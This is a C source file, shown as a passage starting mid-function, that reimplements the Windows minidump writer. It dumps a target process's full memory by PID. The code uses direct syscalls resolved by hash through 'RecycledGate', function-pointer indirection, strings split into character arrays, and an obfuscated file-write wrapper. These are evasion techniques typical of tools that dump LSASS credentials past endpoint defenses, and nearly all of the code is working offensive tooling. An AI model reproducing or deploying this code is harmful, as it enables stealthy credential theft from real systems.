cleanup: 54 | if(ptr_encoded_buffer) 55 | function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, ptr_encoded_buffer); 56 | 57 | return success; 58 | 59 | } 60 | 61 | 62 | static BOOL fetch_process_info(struct dump_context* dc, struct fPtrs *function_ptrs) 63 | { 64 | 65 | ULONG buf_size = 0x1000; 66 | NTSTATUS nts; 67 | SYSTEM_PROCESS_INFORMATION* pcs_buffer = NULL; 68 | 69 | DWORD dwSuccess = FAIL; 70 | Syscall sysNtQuerySystemInformation = { 0x00 }; 71 | 72 | dwSuccess = getSyscall(0xaf0d30ec, &sysNtQuerySystemInformation); 73 | if(dwSuccess == FAIL) 74 | goto failed; 75 | 76 | if (!(pcs_buffer = (SYSTEM_PROCESS_INFORMATION*)function_ptrs->_HeapAlloc(function_ptrs->_GetProcessHeap(), 0, buf_size))) return FALSE; 77 | for (;;) 78 | { 79 | PrepareSyscall(sysNtQuerySystemInformation.dwSyscallNr, sysNtQuerySystemInformation.pRecycledGate); 80 | nts = DoSyscall(SystemProcessInformation, 81 | pcs_buffer, buf_size, NULL); 82 | if (nts != 0xC0000004L) break; 83 | pcs_buffer = (SYSTEM_PROCESS_INFORMATION*)function_ptrs->_HeapReAlloc(function_ptrs->_GetProcessHeap(), 0, pcs_buffer, buf_size *= 2); 84 | if (!pcs_buffer) return FALSE; 85 | } 86 | 87 | if (nts == 0) 88 | { 89 | SYSTEM_PROCESS_INFORMATION* spi = pcs_buffer; 90 | 91 | for (;;) 92 | { 93 | if (HandleToUlong(spi->UniqueProcessId) == dc->pid) 94 | { 95 | dc->num_threads = spi->NumberOfThreads; 96 | dc->threads = (struct dump_thread*)function_ptrs->_HeapAlloc(function_ptrs->_GetProcessHeap(), 0, 97 | dc->num_threads * sizeof(dc->threads[0])); 98 | if (!dc->threads) goto failed; 99 | function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, pcs_buffer); 100 | return TRUE; 101 | } 102 | if (!spi->NextEntryOffset) break; 103 | spi = (SYSTEM_PROCESS_INFORMATION*)((char*)spi + spi->NextEntryOffset); 104 | } 105 | } 106 | 107 | failed: 108 | 109 | if(pcs_buffer) 110 | function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, pcs_buffer); 111 | 112 | return FALSE; 113 | } 114 | 115 | static void writeat(struct dump_context* dc, RVA rva, const void* data, unsigned size, struct fPtrs* function_pointers) 116 | { 117 | 118 | DWORD written; 119 | 120 | function_pointers->_SetFilePointer(dc->hFile, rva, NULL, FILE_BEGIN); 121 | ObfWriteFile(dc->hFile, data, size, &written, NULL, function_pointers); 122 | 123 | } 124 | 125 | static void append(struct dump_context* dc, const void* data, unsigned size, struct fPtrs *function_pointers) 126 | { 127 | writeat(dc, dc->rva, data, size, function_pointers); 128 | dc->rva += size; 129 | } 130 | 131 | static unsigned dump_system_info(struct dump_context* dc, struct fPtrs *function_pointers) 132 | { 133 | 134 | MINIDUMP_SYSTEM_INFO mdSysInfo; 135 | SYSTEM_INFO sysInfo; 136 | OSVERSIONINFOW osInfo; 137 | DWORD written; 138 | ULONG slen; 139 | DWORD wine_extra = 0; 140 | 141 | function_pointers->_GetSystemInfo(&sysInfo); 142 | osInfo.dwOSVersionInfoSize = sizeof(osInfo); 143 | 144 | typedef int(WINAPI* RtlGetNtVersionNumbers)(PDWORD, PDWORD, PDWORD); 145 | 146 | char ntdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd','l','l',0x00 }; 147 | char func[] = { 'R', 't', 'l','G','e','t','N','t','V','e','r','s','i','o','n','N','u','m','b','e','r','s',0x00 }; 148 | HINSTANCE hinst = function_pointers->_LoadLibrary(ntdll); 149 | DWORD dwMajor, dwMinor, dwBuildNumber; 150 | RtlGetNtVersionNumbers proc = (RtlGetNtVersionNumbers)function_pointers->_GetProcAddress(hinst, func); 151 | proc(&dwMajor, &dwMinor, &dwBuildNumber); 152 | dwBuildNumber &= 0xffff; 153 | function_pointers->_FreeLibrary(hinst); 154 | 155 | mdSysInfo.ProcessorArchitecture = sysInfo.wProcessorArchitecture; 156 | mdSysInfo.ProcessorLevel = sysInfo.wProcessorLevel; 157 | mdSysInfo.ProcessorRevision = sysInfo.wProcessorRevision; 158 | mdSysInfo.NumberOfProcessors = (UCHAR)sysInfo.dwNumberOfProcessors; 159 | mdSysInfo.ProductType = VER_NT_WORKSTATION; /* This might need fixing */ 160 | mdSysInfo.MajorVersion = dwMajor; 161 | mdSysInfo.MinorVersion = dwMinor; 162 | mdSysInfo.BuildNumber = dwBuildNumber; 163 | mdSysInfo.PlatformId = 0x2; 164 | 165 | mdSysInfo.CSDVersionRva = dc->rva + sizeof(mdSysInfo) + wine_extra; 166 | mdSysInfo.Reserved1 = 0; 167 | mdSysInfo.SuiteMask = VER_SUITE_TERMINAL; 168 | 169 | unsigned i; 170 | ULONG64 one = 1; 171 | 172 | mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] = 0; 173 | mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[1] = 0; 174 | 175 | for (i = 0; i < sizeof(mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0]) * 8; i++) 176 | if (function_pointers->_IsProcessorFeaturePresent(i)) 177 | mdSysInfo.Cpu.OtherCpuInfo.ProcessorFeatures[0] |= one << i; 178 | 179 | append(dc, &mdSysInfo, sizeof(mdSysInfo), function_pointers); 180 | 181 | WCHAR szCSDVersion[256] = { 0x00 }; 182 | slen = function_pointers->_lstrlenW(szCSDVersion) * sizeof(WCHAR); 183 | ObfWriteFile(dc->hFile, &slen, sizeof(slen), &written, NULL, function_pointers); 184 | ObfWriteFile(dc->hFile, szCSDVersion, slen, &written, NULL, function_pointers); 185 | dc->rva += sizeof(ULONG) + slen; 186 | 187 | return sizeof(mdSysInfo); 188 | } 189 | 190 | void minidump_add_memory_block(struct dump_context* dc, ULONG64 base, ULONG size, ULONG rva, struct fPtrs *function_pointers) 191 | { 192 | 193 | if (!dc->mem) 194 | { 195 | dc->alloc_mem = 32; 196 | dc->mem = (struct dump_memory*)function_pointers->_HeapAlloc(function_pointers->_GetProcessHeap(), 0, dc->alloc_mem * sizeof(*dc->mem)); 197 | } 198 | else if (dc->num_mem >= dc->alloc_mem) 199 | { 200 | dc->alloc_mem *= 2; 201 | dc->mem = (struct dump_memory*)function_pointers->_HeapReAlloc(function_pointers->_GetProcessHeap(), 0, dc->mem, 202 | dc->alloc_mem * sizeof(*dc->mem)); 203 | } 204 | if (dc->mem) 205 | { 206 | dc->mem[dc->num_mem].base = base; 207 | dc->mem[dc->num_mem].size = size; 208 | dc->mem[dc->num_mem].rva = rva; 209 | dc->num_mem++; 210 | } 211 | 212 | else dc->num_mem = dc->alloc_mem = 0; 213 | 214 | } 215 | 216 | 217 | static void minidump_add_memory64_block(struct dump_context* dc, ULONG64 base, ULONG64 size, struct fPtrs* function_pointers) 218 | { 219 | 220 | if (!dc->mem64) 221 | { 222 | dc->alloc_mem64 = 32; 223 | dc->mem64 = (struct dump_memory64*)function_pointers->_HeapAlloc(function_pointers->_GetProcessHeap(), 0, dc->alloc_mem64 * sizeof(*dc->mem64)); 224 | } 225 | else if (dc->num_mem64 >= dc->alloc_mem64) 226 | { 227 | dc->alloc_mem64 *= 2; 228 | dc->mem64 = (struct dump_memory64*)function_pointers->_HeapReAlloc(function_pointers->_GetProcessHeap(), 0, dc->mem64, 229 | dc->alloc_mem64 * sizeof(*dc->mem64)); 230 | } 231 | if (dc->mem64) 232 | { 233 | dc->mem64[dc->num_mem64].base = base; 234 | dc->mem64[dc->num_mem64].size = size; 235 | dc->num_mem64++; 236 | } 237 | else dc->num_mem64 = dc->alloc_mem64 = 0; 238 | } 239 | 240 | static void fetch_memory64_info(struct dump_context* dc, struct fPtrs *function_pointers) 241 | { 242 | 243 | ULONG_PTR addr; 244 | MEMORY_BASIC_INFORMATION mbi; 245 | 246 | addr = 0; 247 | while (function_pointers->_VirtualQueryEx(dc->handle, (LPCVOID)addr, &mbi, sizeof(mbi)) != 0) 248 | { 249 | /* Memory regions with state MEM_COMMIT will be added to the dump */ 250 | if (mbi.State == MEM_COMMIT) 251 | { 252 | minidump_add_memory64_block(dc, (ULONG_PTR)mbi.BaseAddress, mbi.RegionSize, function_pointers); 253 | } 254 | 255 | if ((addr + mbi.RegionSize) < addr) 256 | break; 257 | 258 | addr = (ULONG_PTR)mbi.BaseAddress + mbi.RegionSize; 259 | } 260 | } 261 | 262 | static inline BOOL read_process_memory(HANDLE process, UINT64 addr, void* buf, size_t size, Syscall *sysNtReadVirtualMemory) 263 | { 264 | 265 | SIZE_T read = 0; 266 | PrepareSyscall(sysNtReadVirtualMemory->dwSyscallNr, sysNtReadVirtualMemory->pRecycledGate); 267 | NTSTATUS res = DoSyscall(process, (PVOID*)addr, buf, size, &read); 268 | return !res; 269 | } 270 | 271 | static unsigned dump_memory64_info(struct dump_context* dc, struct fPtrs* function_pointers) 272 | { 273 | 274 | MINIDUMP_MEMORY64_LIST mdMem64List; 275 | MINIDUMP_MEMORY_DESCRIPTOR64 mdMem64; 276 | DWORD written; 277 | unsigned i, len, sz; 278 | RVA rva_base; 279 | char tmp[1024]; 280 | ULONG64 pos; 281 | LARGE_INTEGER filepos; 282 | DWORD dwSuccess = FAIL; 283 | 284 | Syscall sysNtReadVirtualMemory = { 0x00 }; 285 | dwSuccess = getSyscall(0x830221a7, &sysNtReadVirtualMemory); 286 | if(dwSuccess == FAIL) 287 | return FALSE; 288 | 289 | sz = sizeof(mdMem64List.NumberOfMemoryRanges) + 290 | sizeof(mdMem64List.BaseRva) + 291 | dc->num_mem64 * sizeof(mdMem64); 292 | 293 | mdMem64List.NumberOfMemoryRanges = dc->num_mem64; 294 | mdMem64List.BaseRva = dc->rva + sz; 295 | 296 | append(dc, &mdMem64List.NumberOfMemoryRanges, 297 | sizeof(mdMem64List.NumberOfMemoryRanges), function_pointers); 298 | append(dc, &mdMem64List.BaseRva, 299 | sizeof(mdMem64List.BaseRva), function_pointers); 300 | 301 | rva_base = dc->rva; 302 | dc->rva += dc->num_mem64 * sizeof(mdMem64); 303 | 304 | /* dc->rva is not updated past this point. The end of the dump 305 | * is just the full memory data. */ 306 | filepos.QuadPart = dc->rva; 307 | for (i = 0; i < dc->num_mem64; i++) 308 | { 309 | mdMem64.StartOfMemoryRange = dc->mem64[i].base; 310 | mdMem64.DataSize = dc->mem64[i].size; 311 | function_pointers->_SetFilePointerEx(dc->hFile, filepos, NULL, FILE_BEGIN); 312 | for (pos = 0; pos < dc->mem64[i].size; pos += sizeof(tmp)) 313 | { 314 | len = (unsigned)(min(dc->mem64[i].size - pos, sizeof(tmp))); 315 | if (read_process_memory(dc->handle, dc->mem64[i].base + pos, tmp, len, &sysNtReadVirtualMemory)) 316 | ObfWriteFile(dc->hFile, tmp, len, &written, NULL, function_pointers); 317 | } 318 | filepos.QuadPart += mdMem64.DataSize; 319 | writeat(dc, rva_base + i * sizeof(mdMem64), &mdMem64, sizeof(mdMem64), function_pointers); 320 | } 321 | 322 | return sz; 323 | } 324 | 325 | static void fetch_module_versioninfo(LPCWSTR filename, VS_FIXEDFILEINFO* ffi, struct fPtrs* function_ptrs) 326 | { 327 | 328 | DWORD handle; 329 | DWORD sz; 330 | WCHAR backslashW[] = { '\\', '\0' }; 331 | 332 | //memset(ffi, 0, sizeof(*ffi)); 333 | for (uint32_t i = 0; i < sizeof(*ffi); i++) { 334 | *((uint8_t*)(ffi) + i) = 0x00; 335 | } 336 | 337 | if ((sz = function_ptrs->_GetFileVersionInfoSizeW(filename, &handle))) 338 | { 339 | void* info = function_ptrs->_HeapAlloc(function_ptrs->_GetProcessHeap(), 0, sz); 340 | if (info && function_ptrs->_GetFileVersionInfoW(filename, handle, sz, info)) 341 | { 342 | VS_FIXEDFILEINFO* ptr; 343 | UINT len; 344 | 345 | if (function_ptrs->_VerQueryValueW(info, backslashW, (LPVOID*)&ptr, &len)) { 346 | //memcpy(ffi, ptr, min(len, sizeof(*ffi))); 347 | function_ptrs->_CopyMemory(ffi, ptr, min(len, sizeof(*ffi))); 348 | /*for (uint32_t i = 0; i < min(len, sizeof(*ffi)); i++) { 349 | *((uint8_t*)(ffi)+i) = *((uint8_t*)(ptr)+i); 350 | }*/ 351 | } 352 | 353 | } 354 | 355 | if(info) 356 | function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, info); 357 | 358 | } 359 | } 360 | 361 | static unsigned dump_modules(struct dump_context* dc, BOOL dump_elf, struct fPtrs* function_ptrs) 362 | { 363 | 364 | MINIDUMP_MODULE mdModule; 365 | MINIDUMP_MODULE_LIST mdModuleList; 366 | char tmp[1024]; 367 | MINIDUMP_STRING* ms = (MINIDUMP_STRING*)tmp; 368 | ULONG i, nmod; 369 | RVA rva_base; 370 | DWORD flags_out; 371 | unsigned sz; 372 | 373 | for (i = nmod = 0; i < dc->num_modules; i++) 374 | { 375 | if ((dc->modules[i].is_elf && dump_elf) || 376 | (!dc->modules[i].is_elf && !dump_elf)) 377 | nmod++; 378 | } 379 | 380 | mdModuleList.NumberOfModules = 0; 381 | rva_base = dc->rva; 382 | dc->rva += sz = sizeof(mdModuleList.NumberOfModules) + sizeof(mdModule) * nmod; 383 | 384 | for (i = 0; i < dc->num_modules; i++) 385 | { 386 | if ((dc->modules[i].is_elf && !dump_elf) || 387 | (!dc->modules[i].is_elf && dump_elf)) 388 | continue; 389 | 390 | flags_out = ModuleWriteModule | ModuleWriteMiscRecord | ModuleWriteCvRecord; 391 | if (dc->type & MiniDumpWithDataSegs) 392 | flags_out |= ModuleWriteDataSeg; 393 | if (dc->type & MiniDumpWithProcessThreadData) 394 | flags_out |= ModuleWriteTlsData; 395 | if (dc->type & MiniDumpWithCodeSegs) 396 | flags_out |= ModuleWriteCodeSegs; 397 | 398 | ms->Length = (function_ptrs->_lstrlenW(dc->modules[i].name) + 1) * sizeof(WCHAR); 399 | 400 | function_ptrs->_lstrcpyW(ms->Buffer, dc->modules[i].name); 401 | 402 | if (flags_out & ModuleWriteModule) 403 | { 404 | mdModule.BaseOfImage = dc->modules[i].base; 405 | mdModule.SizeOfImage = dc->modules[i].size; 406 | mdModule.CheckSum = dc->modules[i].checksum; 407 | mdModule.TimeDateStamp = dc->modules[i].timestamp; 408 | mdModule.ModuleNameRva = dc->rva; 409 | ms->Length -= sizeof(WCHAR); 410 | append(dc, ms, sizeof(ULONG) + ms->Length + sizeof(WCHAR), function_ptrs); 411 | fetch_module_versioninfo(ms->Buffer, &mdModule.VersionInfo, function_ptrs); 412 | mdModule.CvRecord.DataSize = 0; 413 | mdModule.CvRecord.Rva = 0; 414 | mdModule.MiscRecord.DataSize = 0; 415 | mdModule.MiscRecord.Rva = 0; 416 | mdModule.Reserved0 = 0; 417 | mdModule.Reserved1 = 0; 418 | writeat(dc, 419 | rva_base + sizeof(mdModuleList.NumberOfModules) + 420 | mdModuleList.NumberOfModules++ * sizeof(mdModule), 421 | &mdModule, sizeof(mdModule), function_ptrs); 422 | } 423 | } 424 | writeat(dc, rva_base, &mdModuleList.NumberOfModules, 425 | sizeof(mdModuleList.NumberOfModules), function_ptrs); 426 | 427 | return sz; 428 | } 429 | 430 | BOOL validate_addr64(DWORD64 addr) 431 | { 432 | if (sizeof(void*) == sizeof(int) && (addr >> 32)) 433 | { 434 | //SetLastError(ERROR_INVALID_PARAMETER); 435 | return FALSE; 436 | } 437 | return TRUE; 438 | } 439 | 440 | BOOL pe_load_nt_header(HANDLE hProc, DWORD64 base, IMAGE_NT_HEADERS* nth) 441 | { 442 | 443 | IMAGE_DOS_HEADER dos = { 0x00 }; 444 | DWORD dwSuccess = FAIL; 445 | 446 | Syscall sysNtReadVirtualMemory = { 0x00 }; 447 | dwSuccess = getSyscall(0x830221a7, &sysNtReadVirtualMemory); 448 | if(dwSuccess == FAIL){ 449 | return FALSE; 450 | } 451 | 452 | PrepareSyscall(sysNtReadVirtualMemory.dwSyscallNr, sysNtReadVirtualMemory.pRecycledGate); 453 | NTSTATUS res = DoSyscall(hProc, (PVOID*)(DWORD_PTR)base, &dos, sizeof(dos), NULL); 454 | 455 | PrepareSyscall(sysNtReadVirtualMemory.dwSyscallNr, sysNtReadVirtualMemory.pRecycledGate); 456 | NTSTATUS res2 = DoSyscall(hProc, (PVOID*)(DWORD_PTR)(base + dos.e_lfanew), nth, sizeof(*nth), NULL); 457 | 458 | return !res && dos.e_magic == IMAGE_DOS_SIGNATURE && !res2 && nth->Signature == IMAGE_NT_SIGNATURE; 459 | } 460 | 461 | static BOOL add_module(struct dump_context* dc, const WCHAR* name, 462 | DWORD64 base, DWORD size, DWORD timestamp, DWORD checksum, 463 | BOOL is_elf, struct fPtrs* function_pointers) 464 | { 465 | 466 | if (!dc->modules) 467 | { 468 | dc->alloc_modules = 32; 469 | dc->modules = (struct dump_module*)function_pointers->_HeapAlloc(function_pointers->_GetProcessHeap(), 0, 470 | dc->alloc_modules * sizeof(*dc->modules)); 471 | } 472 | else if (dc->num_modules >= dc->alloc_modules) 473 | { 474 | dc->alloc_modules *= 2; 475 | dc->modules = (struct dump_module*)function_pointers->_HeapReAlloc(function_pointers->_GetProcessHeap(), 0, dc->modules, 476 | dc->alloc_modules * sizeof(*dc->modules)); 477 | } 478 | if (!dc->modules) 479 | { 480 | dc->alloc_modules = dc->num_modules = 0; 481 | return FALSE; 482 | } 483 | 484 | function_pointers->_GetModuleFileNameExW(dc->handle, (HMODULE)(DWORD_PTR)base, dc->modules[dc->num_modules].name, ARRAY_SIZE(dc->modules[dc->num_modules].name)); 485 | 486 | dc->modules[dc->num_modules].base = base; 487 | dc->modules[dc->num_modules].size = size; 488 | dc->modules[dc->num_modules].timestamp = timestamp; 489 | dc->modules[dc->num_modules].checksum = checksum; 490 | dc->modules[dc->num_modules].is_elf = is_elf; 491 | dc->num_modules++; 492 | 493 | return TRUE; 494 | } 495 | 496 | 497 | static BOOL WINAPI fetch_pe_module_info_cb(PCWSTR name, DWORD64 base, ULONG size, 498 | PVOID user, struct fPtrs* function_pointers) 499 | { 500 | struct dump_context* dc = (struct dump_context*)user; 501 | IMAGE_NT_HEADERS nth; 502 | 503 | if (!validate_addr64(base)) return FALSE; 504 | 505 | if (pe_load_nt_header(dc->handle, base, &nth)) 506 | add_module((struct dump_context*)user, name, base, size, 507 | nth.FileHeader.TimeDateStamp, nth.OptionalHeader.CheckSum, 508 | FALSE, function_pointers); 509 | 510 | return TRUE; 511 | } 512 | 513 | static const WCHAR* get_filename(const WCHAR* name, const WCHAR* endptr, struct fPtrs* function_pointers) 514 | { 515 | 516 | const WCHAR* ptr; 517 | char fwd_slash[] = { '/', 0x00 }; 518 | char back_slash[] = { '\\', 0x00 }; 519 | 520 | if (!endptr) endptr = name + function_pointers->_lstrlenW(name); 521 | for (ptr = endptr - 1; ptr >= name; ptr--) 522 | { 523 | if (*ptr == fwd_slash[0] || *ptr == back_slash[0]) break; 524 | } 525 | return ++ptr; 526 | } 527 | 528 | static int match_ext(const WCHAR* ptr, size_t len, struct fPtrs* function_pointers) 529 | { 530 | 531 | WCHAR S_AcmW[] = { '.','a','c','m','\0' }; 532 | WCHAR S_DllW[] = { '.','d','l','l','\0' }; 533 | WCHAR S_DrvW[] = { '.','d','r','v','\0' }; 534 | WCHAR S_ExeW[] = { '.','e','x','e','\0' }; 535 | WCHAR S_OcxW[] = { '.','o','c','x','\0' }; 536 | WCHAR S_VxdW[] = { '.','v','x','d','\0' }; 537 | WCHAR* const ext[] = { S_AcmW, S_DllW, S_DrvW, S_ExeW, S_OcxW, S_VxdW, NULL }; 538 | 539 | WCHAR* const* e; 540 | size_t l; 541 | 542 | for (e = ext; *e; e++) 543 | { 544 | l = function_pointers->_lstrlenW(*e); 545 | if (l >= len) return 0; 546 | if (function_pointers->_lstrcmpW(&ptr[len - l], *e)) continue; 547 | return l; 548 | } 549 | return 0; 550 | } 551 | 552 | static void module_fill_module(const WCHAR* in, WCHAR* out, size_t size, struct fPtrs * function_ptrs) 553 | { 554 | 555 | WCHAR S_DotSoW[] = { '.','s','o','\0' }; 556 | WCHAR S_ElfW[] = { '<','e','l','f','>','\0' }; 557 | 558 | const WCHAR* ptr, * endptr; 559 | size_t len, l; 560 | 561 | ptr = get_filename(in, endptr = in + function_ptrs->_lstrlenW(in), function_ptrs); 562 | len = min(endptr - ptr, size - 1); 563 | //memcpy(out, ptr, len * sizeof(WCHAR)); 564 | function_ptrs->_CopyMemory(out, (void*)ptr, size -1); 565 | /*for (uint32_t i = 0; i < size -1 ; i++) { 566 | *((uint8_t*)(out)+i) = *((uint8_t*)(ptr)+i); 567 | }*/ 568 | 569 | out[len] = '\0'; 570 | if (len > 4 && (l = match_ext(out, len, function_ptrs))) 571 | out[len - l] = '\0'; 572 | else 573 | { 574 | if (len > 3 && !function_ptrs->_lstrcmpW(&out[len - 3], S_DotSoW) && 575 | (l = match_ext(out, len - 3, function_ptrs))) 576 | function_ptrs->_lstrcpyW(&out[len - l - 3], S_ElfW); 577 | } 578 | while ((*out = mytowlower(*out))) out++; 579 | } 580 | 581 | static void fetch_modules_info(struct dump_context* dc, struct fPtrs* function_ptrs) 582 | { 583 | 584 | HMODULE modules[512] = { 0x00 }; 585 | MODULEINFO mi = { 0x00 }; 586 | WCHAR baseW[256] = { 0x00 }, modW[256] = { 0x00 }; 587 | 588 | DWORD i = 0x00, sz = 0x00; 589 | 590 | function_ptrs->_EnumProcessModules(dc->handle, (HMODULE*)&modules, 512 * sizeof(HMODULE), &sz); 591 | 592 | sz /= sizeof(HMODULE); 593 | 594 | for (i = 0; i < sz; i++) { 595 | 596 | if (!function_ptrs->_GetModuleInformation(dc->handle, modules[i], &mi, sizeof(mi))) 597 | continue; 598 | 599 | if (!function_ptrs->_GetModuleBaseNameW(dc->handle, modules[i], baseW, ARRAY_SIZE(baseW))) 600 | continue; 601 | 602 | module_fill_module(baseW, modW, ARRAY_SIZE(modW), function_ptrs); 603 | fetch_pe_module_info_cb(modW, (DWORD_PTR)mi.lpBaseOfDll, mi.SizeOfImage, 604 | dc, function_ptrs); 605 | 606 | } 607 | 608 | } 609 | 610 | BOOL MiniDumpWriteDumpA(HANDLE hProcess, DWORD pid, HANDLE hFile, struct fPtrs* function_ptrs) 611 | { 612 | 613 | const MINIDUMP_DIRECTORY emptyDir = { UnusedStream, {0, 0} }; 614 | MINIDUMP_HEADER mdHead; 615 | MINIDUMP_DIRECTORY mdDir; 616 | DWORD i = 0x00, nStreams = 0x00, idx_stream = 0x00; 617 | struct dump_context dc; 618 | 619 | const DWORD Flags = MiniDumpWithFullMemory | 620 | MiniDumpWithFullMemoryInfo | 621 | MiniDumpWithUnloadedModules; 622 | 623 | MINIDUMP_TYPE DumpType = (MINIDUMP_TYPE)Flags; 624 | 625 | dc.hFile = hFile; 626 | dc.pid = pid; 627 | dc.handle = hProcess; 628 | dc.modules = NULL; 629 | dc.num_modules = 0; 630 | dc.alloc_modules = 0; 631 | dc.threads = NULL; 632 | dc.num_threads = 0; 633 | dc.type = DumpType; 634 | dc.mem = NULL; 635 | dc.num_mem = 0; 636 | dc.alloc_mem = 0; 637 | dc.mem64 = NULL; 638 | dc.num_mem64 = 0; 639 | dc.alloc_mem64 = 0; 640 | dc.rva = 0; 641 | 642 | if (!fetch_process_info(&dc, function_ptrs)) return FALSE; 643 | 644 | fetch_modules_info(&dc, function_ptrs); 645 | nStreams = 3; 646 | nStreams = (nStreams + 3) & ~3; 647 | 648 | // Write Header 649 | mdHead.Signature = 0x504d444d; // minidump_signature 650 | mdHead.Version = MINIDUMP_VERSION; 651 | mdHead.NumberOfStreams = nStreams; 652 | mdHead.CheckSum = 0; 653 | mdHead.StreamDirectoryRva = sizeof(mdHead); 654 | //mdHead.TimeDateStamp = time(NULL); 655 | mdHead.Flags = DumpType; 656 | append(&dc, &mdHead, sizeof(mdHead), function_ptrs); 657 | 658 | // Write Stream Directories 659 | dc.rva += nStreams * sizeof(mdDir); 660 | idx_stream = 0; 661 | 662 | // Write Data Stream Directories 663 | // 664 | // Must be first in MiniDump 665 | mdDir.StreamType = SystemInfoStream; 666 | mdDir.Location.Rva = dc.rva; 667 | mdDir.Location.DataSize = dump_system_info(&dc, function_ptrs); 668 | writeat(&dc, mdHead.StreamDirectoryRva + idx_stream++ * sizeof(mdDir), 669 | &mdDir, sizeof(mdDir), function_ptrs); 670 | 671 | mdDir.StreamType = ModuleListStream; 672 | mdDir.Location.Rva = dc.rva; 673 | mdDir.Location.DataSize = dump_modules(&dc, FALSE, function_ptrs); 674 | writeat(&dc, mdHead.StreamDirectoryRva + idx_stream++ * sizeof(mdDir), 675 | &mdDir, sizeof(mdDir), function_ptrs); 676 | 677 | fetch_memory64_info(&dc, function_ptrs); 678 | mdDir.StreamType = Memory64ListStream; 679 | mdDir.Location.Rva = dc.rva; 680 | mdDir.Location.DataSize = dump_memory64_info(&dc, function_ptrs); 681 | writeat(&dc, mdHead.StreamDirectoryRva + idx_stream++ * sizeof(mdDir), 682 | &mdDir, sizeof(mdDir), function_ptrs); 683 | 684 | // fill the remaining directory entries with 0's (unused stream types) 685 | // NOTE: this should always come last in the dump! 686 | for (i = idx_stream; i < nStreams; i++) 687 | writeat(&dc, mdHead.StreamDirectoryRva + i * sizeof(emptyDir), &emptyDir, sizeof(emptyDir), function_ptrs); 688 | 689 | function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, dc.mem); 690 | function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, dc.mem64); 691 | function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, dc.modules); 692 | function_ptrs->_HeapFree(function_ptrs->_GetProcessHeap(), 0, dc.threads); 693 | 694 | return TRUE; 695 | } 696 | 697 | --------------------------------------------------------------------------------